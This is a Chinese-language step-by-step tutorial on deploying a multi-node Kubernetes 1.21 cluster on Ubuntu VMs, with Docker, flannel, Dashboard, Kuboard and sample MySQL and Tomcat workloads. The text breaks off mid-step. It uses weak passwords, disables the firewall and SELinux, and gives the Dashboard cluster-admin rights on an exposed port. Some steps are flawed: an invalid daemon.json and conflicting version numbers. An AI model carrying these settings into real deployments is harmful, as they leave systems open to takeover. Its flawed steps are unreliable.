课程介绍​\tKubernetes(K8s)一个用于容器集群的自动化部署、扩容以及运维的开源平台.通过Kubernetes,你可以快速有效地响应用户需求;快速而有预期地部署你的应用;极速地扩展你的应用;无缝对接新应用功能;节省资源,优化硬件资源的使用.为容器编排管理提供了完整的开源方案. Kubernetes解决了什么问题? 服务器环境 服务器资源管理 服务容灾恢复 硬件资源利用 服务资源创建 可视化管理 服务资源监控 资源整合管理 Kubernetes在容器编排可谓是做到了淋漓尽致,解决了之前的种种痛点,但是学习成本也相对较高,需要结合一定的实践,踩一定的坑才能形成自己的理解. 目标 了解什么是K8s,为什么世界需要它,K8s的工程师又为什么这么抢手. K8s企业环境部署捷径,多Master/node躲坑快速部署. 基于Kubernetes集群管理,kubeadm,kubectl等常见指令使用. 基于Kubernetes快速启动集群Web应用. 一、Kubernetes概述什么是K8sKubernetes(K8s)是Google在2014年发布的一个开源项目. ​\t据说Google的数据中心里运行着20多亿个容器,而且Google十年多前就开始使用容器技术. ​\t最初,Google开发了一个叫Borg的系统(现在命名为Omega)来调度如此庞大数量的容器和工作负载.在积累了这么多年的经验后,Google决定重写这个容器管理系统,并将其贡献到开源社区,让全世界都能受益. ​\t这个项目就是Kubernetes.简单地讲,Kubernetes是Google Omega的开源版本. ​\t从2014年第一个版本发布以来,Kubernetes迅速获得开源社区的追捧,包括Red Hat、VMware、Canonical在内的很多有影响力的公司加入到开发和推广的阵营.目前Kubernetes已经成为发展最快、市场占有率最高的容器编排引擎产品. Kubernetes解决了什么问题 通过 Kubernetes,分布式系统工具将拥有网络效应.每当人们为 Kubernetes 制作出的新的工具,都会让所有其他工具更完善.因此,这进一步巩固了 Kubernetes 的标准地位. 云提供商并非可替换的商品.不同的云提供的服务会变得越来越独特和不同.如果可以访问不同的云提供商提供的不同服务,那么企业将因此受益. 当多节点应用与单节点应用一样可靠时,我们将看到定价模型的变化. 这就是为什么我会被 Kubernetes 洗脑的原因,它是跨越异构系统的一个标准层. 将来,我们会像讨论编译器和操作系统内核一样讨论 Kubernetes. Kubernetes 将会是低层级的管路系统,而不在普通应用开发人员的视野之内. Kubernetes 已成为部署分布式应用的标准方式.在不远的将来,任何新成立的互联网公司都将用到 Kubernetes,无论其是否意识到这点.许多旧应用也正在迁移到 Kubernetes. 起因:Docker 单一稳定的一体化模型 微型化的应用部署模型(微服务、分布式、集群、高可用、负载均衡…) 容器编排?是需要标准的?如此多的docker该如何管理(通信、负载均衡、资源共享管理、容灾、监控、健康检查….)? Mesos docker swarm kubernetes 自2016年中,K8s表现出明显优势. 二、环境部署软件环境版本操作系统: Ubuntu 18.10(本教程采用server版本) Docker:docker-ce 18.06 Kubernetes: K8s 1.21.8 Ubuntu搭建研发环境我们直接下载Unbuntu18.10-server版本,server版本的好处是没有Desktop,可以节省资源. https://mirrors.aliyun.com/oldubuntu-releases/releases/18.10/ubuntu-18.10-live-server-amd64.isohttps://mirrors.aliyun.com/oldubuntu-releases/releases/18.10/ubuntu-18.10-live-server-amd64.iso Ubuntu安装过程创建虚拟机在VMWare 中启动安装虚拟过程 创建新的虚拟机 选择自定义安装 为此虚拟机选择操作系统 Linux Ubuntu 64位 命名为Master 自定设置 存储为UbuntuMaster 2CPU 2048MB 40GB硬盘 使用ISO镜像 建议移除声卡和打印机 图形界面安装方式 选择英文语言 英文键盘 设置您的用户名和密码,下文使用killer killer 系统服务安装清单,一般都是直接选择Done 回车,进入安装模式. 开始安装过程 安装结束后点击重启Reboot Now 准备操作123456789# 修改root密码# 重新启动后登录 用户名 `killer` 密码: `killer`# 确认登录成功后输入sudo passwd root# 然后输入root用户的密码root`设置root用户的密码root,是为了教学过程中简单.但是在生产环境下禁止使用弱强度的密码`# 执行su root使用root用户重新登录 12# 修改主机名称sudo hostnamectl set-hostname master 1234567891011121314151617181920# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.120/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true # 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply 123456789101112131415# 换源# 备份原始源列表文件:使用以下命令备份当前的软件源列表文件,以便恢复到原始状态sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak# 编辑源列表文件:使用文本编辑器(如nano或vi)编辑软件源列表文件.sudo vim /etc/apt/sources.list# 阿里云源deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiversedeb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse# 更新软件包列表:使用以下命令更新新的软件源列表.sudo apt update 三、Docker-CE安装及配置基础准备 Docker 要求 Ubuntu 系统的内核版本高于 3.10 ,查看本页面的前提条件来验证你的 Ubuntu 版本是否支持 Docker. 12sudo uname -r 4.18.0-10-generic 安装curl 1sudo apt-get update && sudo apt-get install -y curl telnet wget man apt-transport-https ca-certificates software-properties-common vim 在线安装Docker-ce1234567# 添加USTC镜像源的GPG密钥sudo curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg# 添加USTC的Docker存储库sudo echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null# 更新apt软件包索引并安装 Docker 引擎指定版本 20.10sudo apt update && sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-cosmic 启动Docker-ce1234567# 开机并启动dockersudo systemctl enable docker sudo systemctl start docker # 确认docker已经运行sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 申请阿里云镜像加速器申请步骤如下 在阿里云注册自己账户 找到容器镜像服务,参考网址如下 https://cr.console.aliyun.com/cn-hangzhou/instances/mirrorshttps://cr.console.aliyun.com/cn-hangzhou/instances/mirrors 点开左侧菜单镜像中心->镜像加速器 右侧加速器地址,即使私人专属的镜像加速器地址,点击复制 Docker配置国内镜像加速器 目的 : 为了下载docker镜像更快 您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器. 创建/etc/docker/daemon.json文件,内容如下: 记得把下方的地址换成自己的,因为下面的地址过期了 12345678910111213sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://lwczusv2c.mirror.aliyuncs.com"]}{ "exec-opts": ["native.cgroupdriver=systemd"]}EOF# 重载所有修改过的配置文件sudo systemctl daemon-reload# 重启Docker服务sudo systemctl restart docker 四、Kubernetes 安装及部署K8s安装环境准备配置并安装K8s国内源 创建配置文件sudo touch /etc/apt/sources.list.d/kubernetes.list 添加写权限 1sudo chmod 666 /etc/apt/sources.list.d/kubernetes.list 再添加,内容如下: 1sudo echo "deb http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial main" >> /etc/apt/sources.list.d/kubernetes.list 执行sudo apt update 更新操作系统源,开始会遇见如下错误 1234567sudo apt updateW: GPG error: http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY B53DC80D13EDEF05E: The repository 'http://mirrors.ustc.edu.cn/kubernetes/apt kubernetes-xenial InRelease' is not signed.N: Updating from such a repository can't be done securely, and is therefore disabled by default.N: See apt-secure(8) manpage for repository creation and user configuration details. 其中: 1The following signatures couldn't be verified because the public key is not available: NO_PUBKEY B53DC80D13EDEF05 签名认证失败,需要重新生成.记住上面的NO_PUBKEY B53DC80D13EDEF05 添加认证key 运行如下命令,添加错误中对应的key(错误中NO_PUBKEY后面的key的后8位) 1sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 13EDEF05 接着运行如下命令说明成功,之后进行安装: 1sudo gpg --export --armor 13EDEF05 | sudo apt-key add - 再次重新sudo apt update更新系统下载源数据列表 禁止基础设施1234567891011121314# 禁止防火墙sudo ufw disable# 永久关闭swap分区sudo sed -i 's/.*swap.*/#&/' /etc/fstab# 禁止Selinux# 安装操控selinux的命令sudo apt install -y selinux-utils# 禁止selinuxsudo setenforce 0# 重启操作系统sudo shutdown -r now# 查看selinux是否已经关闭sudo getenforce# Disabled(表示已经关闭) K8s系统网络配置12345678910# 配置内核参数,将桥接的IPv4流量传递到iptables的链sudo vim /etc/sysctl.d/K8s.conf# 添加内容如下net.bridge.bridge-nf-call-ip6tables = 1net.bridge.bridge-nf-call-iptables = 1vm.swappiness = 0# 执行命令使修改生效sudo modprobe br_netfiltersudo sysctl -p /etc/sysctl.d/K8s.conf 安装K8s 安装Kubernetes 目前安装版本 v1.21.8 1sudo apt update && sudo apt-get install -y kubelet=1.21.8-00 kubeadm=1.21.8-00 kubectl=1.21.8-00 设置为开机重启 12# 如果是单机部署k8s就需要执行:kubeadm initsudo systemctl enable kubelet && sudo systemctl start kubelet 验证K8s123456# 查看当前K8s版本 sudo kubectl version# 因为咱们是集群环境,没有单机部署,所以没执行kubeadm init导致以下报错# Client Version: version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.8", GitCommit:"4a3b558c52eb6995b3c5c1db5e54111bd0645a64", GitTreeState:"clean", BuildDate:"2021-12-15T14:52:11Z", GoVersion:"go1.16.12", Compiler:"gc", Platform:"linux/amd64"}# The connection to the server localhost:8080 was refused - did you specify the right host or port? 请将Ubuntu关机,并快照 五、创建企业Kubernetes多主机集群环境创建两个节点(两个虚拟机) 在VMWare中创建完整克隆,分别命名为UbuntuNode1和UbuntuNode2 选择Master虚拟机快照,点击第一份快照,选择克隆 选择完整克隆 分别对两个完整克隆的虚拟机进行如下操作,修改主机名称和静态IP UbuntuNode1 1234567891011121314151617181920212223# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.121/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true# 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply# 修改主机名sudo hostnamectl set-hostname node1# su 用户名su killer UbuntuNode2 1234567891011121314151617181920212223# 配置静态IP(永久有效)(NAT模式)sudo vim /etc/netplan/01-netcfg.yaml# This file describes the network interfaces available on your system# For more information, see netplan(5).network: version: 2 renderer: networkd ethernets: ens33: addresses: [192.168.64.122/24] dhcp4: false gateway4: 192.168.64.2 nameservers: addresses: [192.168.64.2] optional: true# 保存更改后,应用新的网络配置.可以使用以下命令来应用配置更改:sudo netplan apply# 修改主机名sudo hostnamectl set-hostname node2# su 用户名su killer Master和Node基础配置修改hosts文件注意:(Master、Node1、Node2都需要配置) 使用root用户登录 打开hosts文件 sudo vim /etc/hosts 输入如下内容 123192.168.64.120 master192.168.64.121 node1192.168.64.122 node2 重启机器sudo shutdown -r now 配置Master节点创建工作目录12mkdir /home/killer/workingcd /home/killer/working/ 创建kubeadm.conf配置文件 创建K8s的管理工具kubeadm对应的配置文件,候选操作在home/killer/working/目录下 123# 使用kubeadm配置文件,通过在配置文件中指定docker仓库地址,便于内网快速部署.# 生成配置文件sudo kubeadm config print init-defaults --component-configs KubeletConfiguration > kubeadm.conf 修改kubeadm.conf 中的如下两项: 123456 # - imageRepository # - kubernetesVersion vi kubeadm.conf # 修改 imageRepository: K8s.gcr.io # 改为 registry.aliyuncs.com/google_containers imageRepository:registry.aliyuncs.com/google_containers 修改kubeadm.conf中的API服务器地址,后面会频繁使用这个地址. 1234# localAPIEndpoint:localAPIEndpoint: advertiseAddress: 192.168.64.120 bindPort: 6443 注意: 192.168.64.120是master主机的ip地址 配置子网网络 12345networking: dnsDomain: cluster.local podSubnet: 10.244.0.0/16 serviceSubnet: 10.96.0.0/12scheduler: {} 这里的10.244.0.0/16 和 10.96.0.0/12分别是K8s内部pods和services的子网网络,最好使用这个地址,后续flannel网络需要用到. 拉取K8s必备的模块镜像 查看一下都需要哪些镜像文件需要拉取 123456789sudo kubeadm config images list --config ./kubeadm.conf# registry.cn-beijing.aliyuncs.com/imcto/kube-apiserver:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-controller-manager:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-scheduler:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-proxy:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/pause:3.4.1# registry.cn-beijing.aliyuncs.com/imcto/etcd:3.4.13-0# registry.cn-beijing.aliyuncs.com/imcto/coredns/coredns:v1.8.0 拉取镜像 1234567891011# 下载全部当前版本的K8s所关联的镜像sudo kubeadm config images pull --config ./kubeadm.conf# 对images重命名 这里要注意重命名的版本号有的是带v的,有的是不带的 注意看清楚sudo docker tag registry.aliyuncs.com/google_containers/kube-apiserver:v1.21.0 registry.K8s.io/kube-apiserver:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-controller-manager:v1.21.0 registry.K8s.io/kube-controller-manager:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-scheduler:v1.21.0 registry.K8s.io/kube-scheduler:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-proxy:v1.21.0 registry.K8s.io/kube-proxy:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/pause:3.4.1 registry.K8s.io/pause:3.4.1sudo docker tag registry.aliyuncs.com/google_containers/etcd:3.4.13-0 registry.K8s.io/etcd:3.4.13-0 sudo docker tag registry.aliyuncs.com/google_containers/coredns:v1.8.0 registry.K8s.io/coredns/coredns:v1.8.0 初始化kubernetes环境12# 初始化并且启动sudo kubeadm init --config ./kubeadm.conf 更多kubeadm配置文件参数详见 1sudo kubeadm config print-defaults K8s启动成功输出内容较多,但是记住末尾的内容 12345678910111213141516171819202122Your Kubernetes control-plane has initialized successfully!To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/configAlternatively, if you are the root user, you can run: export KUBECONFIG=/etc/kubernetes/admin.confYou should now deploy a pod network to the cluster.Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at: https://kubernetes.io/docs/concepts/cluster-administration/addons/Then you can join any number of worker nodes by running the following on each as root:kubeadm join 192.168.64.120:6443 --token abcdef.0123456789abcdef \\ --discovery-token-ca-cert-hash sha256:dc94fc0dc028e01532b82fe99ec94ad2841a6c9a8873d496714fbc3f4147fc66 按照官方提示,执行以下操作. 执行如下命令 123mkdir -p $HOME/.kubesudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config 创建系统服务并启动 1234# 启动kubelet 设置为开机自启动sudo systemctl enable kubelet# 启动K8s服务程序sudo systemctl start kubelet 验证kubernetes启动结果 验证输入,注意显示master状态是NotReady,证明初始化服务器成功 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node NotReady control-plane,master 86s v1.21.8 注释相关信息 12345678sudo vim /etc/kubernetes/manifests/kube-controller-manager.yaml # 注释掉第26行 #- --port=0 sudo vim /etc/kubernetes/manifests/kube-scheduler.yaml# 注释到第19行 #- --port=0# 重启kubeletsudo systemctl restart kubelet.service 查看当前K8s集群状态 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node NotReady control-plane,master 14m v1.21.8 目前只有一个master,还没有node,而且是NotReady状态,那么我们需要将node加入到master管理的集群中来 部署集群内部通信flannel网络12cd $HOME/workingwget https://github.com/flannel-io/flannel/releases/latest/download/kube-flannel.yml 编辑这个文件,确保flannel网络是对的,找到sudo vim kube-flannel.yml标记的内容是否正确. 123456net-conf.json: | { "Network": "10.244.0.0/16", "Backend": { "Type": "vxlan" } 这个\"10.244.0.0/16\"和./kubeadm.conf中的podsubnet的地址要一致. 应用当前flannel配置文件 1sudo kubectl apply -f kube-flannel.yml 输出结果如下 123456namespace/kube-flannel createdserviceaccount/flannel createdclusterrole.rbac.authorization.K8s.io/flannel configuredclusterrolebinding.rbac.authorization.K8s.io/flannel configuredconfigmap/kube-flannel-cfg createddaemonset.apps/kube-flannel-ds created 安装flannel网络后 执行kubectl get nodes输出结果如下 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node Ready control-plane,master 52m v1.21.8 此时master已经是Ready状态了,表示已经配置成功了,那么我们就需要配置node来加入这个集群. 配置Node配置K8s集群的Node主机环境 启动K8s后台服务 12# 启动kubelet 设置为开机自启动sudo systemctl enable kubelet 将master机器的/etc/kubernetes/admin.conf传到到node1和node2 登录master终端 1234# 将admin.conf传递给node1sudo scp /etc/kubernetes/admin.conf killer@192.168.64.121:/home/killer/# 将admin.conf传递给node2sudo scp /etc/kubernetes/admin.conf killer@192.168.64.122:/home/killer/ 登录node1终端,创建基础kube配置文件环境 123mkdir -p $HOME/.kubesudo cp -i $HOME/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config 登录node2终端,创建基础kube配置文件环境 123mkdir -p $HOME/.kubesudo cp -i $HOME/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config node1和node2分别连接master加入master集群.这里用的是kubeadm join指令 1234567891011121314151617sudo kubeadm join 192.168.64.120:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:dc94fc0dc028e01532b82fe99ec94ad2841a6c9a8873d496714fbc3f4147fc66# [preflight] Running pre-flight checks# [WARNING IsDockerSystemdCheck]: detected "cgroupfs" as the Docker cgroup driver. The recommended driver is "systemd". Please follow the guide at https://kubernetes.io/docs/setup/cri/# [preflight] Reading configuration from the cluster...# [preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'# [kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"# [kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"# [kubelet-start] Starting the kubelet# [kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...# This node has joined the cluster:# * Certificate signing request was sent to apiserver and a response was received.# * The Kubelet was informed of the new secure connection details.# Run 'kubectl get nodes' on the control-plane to see this node join the cluster. ​ 这里要注意,使用的hash应该是master主机 kubeadm init成功之后生成的hash码. 应用两个node主机分别应用flannel网络 将master中的kube-flannel.yml分别传递给两个node节点. 1234#将kube-flannel.yml传递给node1sudo scp $HOME/working/kube-flannel.yml killer@192.168.64.121:/home/killer/#将kube-flannel.yml传递给node2sudo scp $HOME/working/kube-flannel.yml killer@192.168.64.122:/home/killer/ 分别启动flannel网络 1killer@node1:~$ kubectl apply -f kube-flannel.yml 1killer@node2:~$ kubectl apply -f kube-flannel.yml 查看node是否已经加入到K8s集群中(需要等一段时间才能ready) 12345killer@master:~$ kubectl get nodes# NAME STATUS ROLES AGE VERSION# node Ready control-plane,master 87m v1.21.8# node1 Ready <none> 3m52s v1.21.8# node2 Ready <none> 2m46s v1.21.8 K8s 图形化管理界面 只需在Master机器上装就可以了 Dashboard 下载yaml,并运行Dashboard 12345678910111213141516171819# 下载yamlwget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yamlvim recommended.yaml# 修改kubernetes-dashboard的Service类型kind: ServiceapiVersion: v1metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboardspec: type: NodePort # 新增 ports: - port: 443 targetPort: 8443 nodePort: 30009 # 新增 selector: k8s-app: kubernetes-dashboard 部署并查看 123456789# 部署kubectl apply -f recommended.yaml# 查看是否启动成功kubectl get pods -n kubernetes-dashboard# NAME READY STATUS RESTARTS AGE# dashboard-metrics-scraper-5594697f48-7r297 1/1 Running 0 4m42s# kubernetes-dashboard-57c9bfc8c8-gvwf5 1/1 Running 0 4m42s 创建账户并授权 12345678910111213 # 创建账号 kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard # 授权 kubectl create clusterrolebinding dashboard-admin-rb --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin4. 获取账户token ```bash kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-dashboard get secret | grep dashboard-admin | awk '{print $1}') # token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjJtWEhoU3kwZjZzM2FkdUIwaDFwbE16Xy1YUWZGckVYOVdTdWFEWFdfMkUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZC10b2tlbi1sbnd6OSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImIzZTg0NGNiLWNmMWEtNGQxZC1hN2JmLTY5YzkzMzgwYWU5NCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlcm5ldGVzLWRhc2hib2FyZDprdWJlcm5ldGVzLWRhc2hib2FyZCJ9.K78S-Q0HriBPGa4pQXQQXntLzJwj8qKbBnpOFbpIn6FkZ0TN5lt7rpJ8l1dwFdM2ijvlIvRVc6Kn65RBZml2gOugE2KkUTep6mxyxxz89vzc6WoOfv2f65fd14NWx9pDx8nuNpchOH1PCRbsgiQv36Pwo-HumDVFL30q5RKt8iylt8AacFGLmgdMJbZlZ6q6FR7gcX7QdqmvlNySgyPhVtHrxZMlahbbzarl2Dulq6bREBhAuoWI_4okFMlk0fDKS6GoM582DoGQPUnQbPsyupvy9EBozKS7D5fFoPzN5fZOMYzAc9fCbKRjPq5w9IDpKYsBzdpYaL9qSO5IUPe7yg 通过浏览器访问Dashboard的UI并在登录页面上输入上面的token 12# 注意是https协议,Chrome访问不了,可以用火狐https://192.168.64.120:30009/ 等你们完成了应用实例,上图中的pods就会出现 Kuboard123456789101112131415# Master上执行sudo docker run -d \\ --restart=unless-stopped \\ --name=kuboard \\ -p 80:80/tcp \\ -p 10081:10081/udp \\ -p 10081:10081/tcp \\ -e KUBOARD_ENDPOINT="http://192.168.64.120:80" \\ -e KUBOARD_AGENT_SERVER_UDP_PORT="10081" \\ -e KUBOARD_AGENT_SERVER_TCP_PORT="10081" \\ -v /root/kuboard-data:/data \\ eipwork/kuboard:v3.5.2.4# KUBOARD_ENDPOINT="http://192.168.64.120:8091" :http://ip:prot,根据自己主机修改# 浏览器输入 http://192.168.64.120:8091,可见打开了 UI 界面. 初始用户密码,admin Kuboard123 点击添加集群,输入名称信息,按照图中选择,点击确认 复制粘贴下载 yaml 文件命令,在 master执行,即可完成导入等待一会!!! 六、应用实例工作目录:/home/killer/working 创建MySQL实例定义描述文件1234567891011121314151617181920212223sudo tee mysql-rc.yaml <<-'EOF'apiVersion: v1kind: ReplicationController #副本控制器RCmetadata: name: mysql #RC的名称,全局唯一spec: replicas: 3 #Pod副本的期待数量 selector: app: mysql #符合目标的Pod拥有此标签 template: #根据此模板创建Pod的副本(实例) metadata: labels: app: mysql #Pod副本拥有的标签,对应RC的Selector spec: containers: #Pod内容器的定义部分 - name: mysql #容器的名称 image: hub.c.163.com/library/mysql #容器对应的Docker image ports: - containerPort: 3306 #容器应用监听的端口号 env: #注入容器内的环境变量 - name: MYSQL_ROOT_PASSWORD value: "123456"EOF 加载ReplicationController副本控制器描述文件创建好mysql-rc.yaml后,在master节点使用kubectl命令将它发布到K8s集群中. 1234# 创建kubectl create -f mysql-rc.yaml# 移除kubectl delete -f mysql-rc.yaml 查看启动状态通过查看当前的pods列表,是否已经启动成功 1kubectl get pods --all-namespaces 创建Tomcat实例定义描述文件12345678910111213141516171819202122232425sudo tee myweb-rc.yaml <<-'EOF'apiVersion: v1kind: ReplicationControllermetadata: name: mywebspec: replicas: 5 selector: app: myweb template: metadata: labels: app: myweb spec: containers: - name: myweb image: docker.io/kubeguide/tomcat-app:v1 ports: - containerPort: 8080 env: - name: MYSQL_SERVICE_HOST value: "mysql" - name: MYSQL_SERVICE_PORT value: "3306"EOF 1234567891011121314151617181920212223apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: ReplicationController # 定义一个 ReplicationController 对象metadata: name: myweb # ReplicationController 的名称为 "myweb"spec: replicas: 5 # Pod 副本期望数量为 5 selector: app: myweb # 标签选择器,选择匹配标签 app=myweb 的 Pod 进行管理 template: metadata: labels: app: myweb # Pod 模板的标签为 app=myweb spec: containers: # 定义容器配置 - name: myweb # 容器名称为 "myweb" image: docker.io/kubeguide/tomcat-app:v1 # 容器使用的镜像为 docker.io/kubeguide/tomcat-app:v1 ports: - containerPort: 8080 # 容器监听的端口号为 8080 env: # 容器的环境变量配置 - name: MYSQL_SERVICE_HOST # 环境变量 MYSQL_SERVICE_HOST 的名称 value: "mysql" # 环境变量 MYSQL_SERVICE_HOST 的值为 "mysql" - name: MYSQL_SERVICE_PORT # 环境变量 MYSQL_SERVICE_PORT 的名称 value: "3306" # 环境变量 MYSQL_SERVICE_PORT 的值为 "3306" 加载RC副本描述文件1234567891011121314151617kubectl create -f myweb-rc.yaml# replicationcontroller/myweb createdkubectl get rc# NAME DESIRED CURRENT READY AGE# mysql 3 3 3 40s# myweb 5 5 0 5skubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-mvx5c 1/1 Running 0 13h# myweb-2c756 1/1 Running 0 72s# myweb-8757q 1/1 Running 0 72s# myweb-g4dpr 1/1 Running 0 72s# myweb-mfcdk 1/1 Running 0 72s# myweb-xr4vq 1/1 Running 0 72s 注意mysql实例 状态 Running myweb实例状态 ContainerCreating 过几分钟myweb实例状态变成 Running 创建服务副本在master服务器 12345678910111213sudo tee myweb-svc.yaml <<-'EOF'apiVersion: v1kind: Servicemetadata: name: mywebspec: type: NodePort ports: - port: 8080 nodePort: 30001 selector: app: myweb EOF 1234567891011- apiVersion: v1 # 指定使用的 Kubernetes API 版本.- kind: Service # 定义了一个 Service 对象.- metadata: # Service 元数据,包括名称等信息. - name: myweb # Service 的名称为 "myweb".- spec: # Service 的规格说明. - type: NodePort # 指定 Service 的类型为 NodePort,表示使用节点的 IP 地址和端口访问 Service. - ports:# 定义 Service 的端口配置. - port: 8080 # Service 的端口号为 8080. - nodePort: 30001 # 将该 Service 的端口映射到节点的端口 30001 上. - selector # 用于标识 Service 要路由到哪些 Pod 上的标签选择器. - app: myweb # 指定匹配标签 `app=myweb` 的 Pod. 部署服务1kubectl create -f myweb-svc.yaml 验证12345678910kubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 3m26s# myweb-8757q 1/1 Running 0 3m26s# myweb-g4dpr 1/1 Running 0 3m26s# myweb-mfcdk 1/1 Running 0 3m26s# myweb-xr4vq 1/1 Running 0 3m26s 1234kubectl get service # NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE# kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 15h# myweb NodePort 10.105.73.151 <none> 8080:30001/TCP 58s 已经看到已经有一个myweb服务已经启动 12345678910111213141516171819kubectl describe service myweb# Name: myweb# Namespace: default# Labels: <none># Annotations: <none># Selector: app=myweb# Type: NodePort# IP Family Policy: SingleStack# IP Families: IPv4# IP: 10.105.73.151# IPs: 10.105.73.151# Port: <unset> 8080/TCP# TargetPort: 8080/TCP# NodePort: <unset> 30001/TCP# Endpoints: 10.244.104.1:8080,10.244.104.2:8080,10.244.104.3:8080 + 2 more...# Session Affinity: None# External Traffic Policy: Cluster# Events: <none> 1234567891011121314151617Name: myweb # Service 的名称为 "myweb"Namespace: default # Service 所在的命名空间为 "default"Labels: <none> # Service 没有标签Annotations: <none> # Service 没有注释Selector: app=myweb # 匹配标签 app=myweb 的 Pod 作为后端服务Type: NodePort # Service 的类型为 NodePortIP Family Policy: SingleStack # IP 地址族策略为单栈模式IP Families: IPv4 # 使用 IPv4 地址族IP: 10.105.73.151 # Service 的 IP 地址为 10.105.73.151IPs: 10.105.73.151 # Service 的 IP 地址列表为 10.105.73.151Port: <unset> 8080/TCP # Service 监听的端口为 8080/TCPTargetPort: 8080/TCP # Service 转发流量到后端 Pod 的端口为 8080/TCPNodePort: <unset> 30001/TCP # 映射到节点的端口为 30001/TCPEndpoints: 10.244.104.1:8080,10.244.104.2:8080,10.244.104.3:8080 + 2 more... # Service 后端的实际 Pod 终端点的 IP 地址和端口信息Session Affinity: None # 会话亲和性设置为无External Traffic Policy: Cluster # 外部流量策略为集群模式Events: <none> # 相关事件信息(无) 验证端口号 12sudo netstat -tlp|grep 30001# tcp 0 0 0.0.0.0:30001 0.0.0.0:* LISTEN 94185/kube-proxy 我们可以打开浏览器,输入master/node1/node2任何一个地址+30001端口都可以,访问tomcat服务. 123http://192.168.64.120:30001http://192.168.64.121:30001http://192.168.64.122:30001 创建自定义的Beego 应用Web程序集群初始化Mysql 找到我们之前创建好的Mysql的pod的NAME 12345678910kubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# 